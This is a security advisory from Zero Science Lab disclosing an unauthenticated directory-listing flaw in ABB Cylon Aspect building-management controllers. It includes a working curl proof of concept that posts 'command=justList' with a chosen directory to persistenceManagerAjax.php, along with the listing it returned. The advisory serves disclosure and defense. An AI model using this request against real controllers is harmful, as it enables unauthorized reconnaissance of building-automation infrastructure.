ABB Cylon Aspect 3.08.01 persistenceManagerAjax.php Directory Traversal

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ABB Cylon Aspect 3.08.01 (persistenceManagerAjax.php) Directory Traversal  
  
  
Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
Firmware: <=3.08.01  
  
Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.  
  
Desc: The BMS/BAS controller has a directory traversal vulnerability that  
can be exploited by an unauthenticated attacker to list the contents of  
arbitrary directories without reading file contents, leading to information  
disclosure of directory structures and filenames. This may expose sensitive  
system details, aiding in further attacks. The issue lies in the listFiles()  
function of the persistenceManagerAjax.php script, which calls PHP's readdir()  
function without proper input validation of the 'directory' POST parameter.  
  
Tested on: GNU/Linux 3.15.10 (armv7l)  
GNU/Linux 3.10.0 (x86_64)  
GNU/Linux 2.6.32 (x86_64)  
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
PHP/7.3.11  
PHP/5.6.30  
PHP/5.4.16  
PHP/4.4.8  
PHP/5.3.3  
AspectFT Automation Application Server  
lighttpd/1.4.32  
lighttpd/1.4.18  
Apache/2.2.15 (CentOS)  
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5837  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5837.php  
  
  
21.04.2024  
  
--  
  
  
$ cat project  
  
P R O J E C T  
  
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____| '-' ' "" '-' '-.' '` |____  
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░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░   
  
  
$ curl "http://192.168.73.31/persistenceManagerAjax.php" \  
> -d "command=justList\  
> &directory=./lib/" \  
> | sed -e 's/.*\[\(.*\)\].*/\1/' \  
> | tr -d '\' \  
> | sed '1,1d' \  
> | sed '$d'  
  
INI.php  
JSON.php  
aspect-status.inc  
caldav-checksums.inc  
checkForLineFeed.php  
check_networking.php  
commands.inc  
configParameter.php  
datetime_includes.inc  
errorCall.php  
fileDownload.php  
fileUpload.inc  
formOptions.php  
getUrlStatus.php  
inString.php  
jsFunctions.php  
matrix-php.inc  
obtainPorts.php  
phpCheck.php  
phpTimezone.php  
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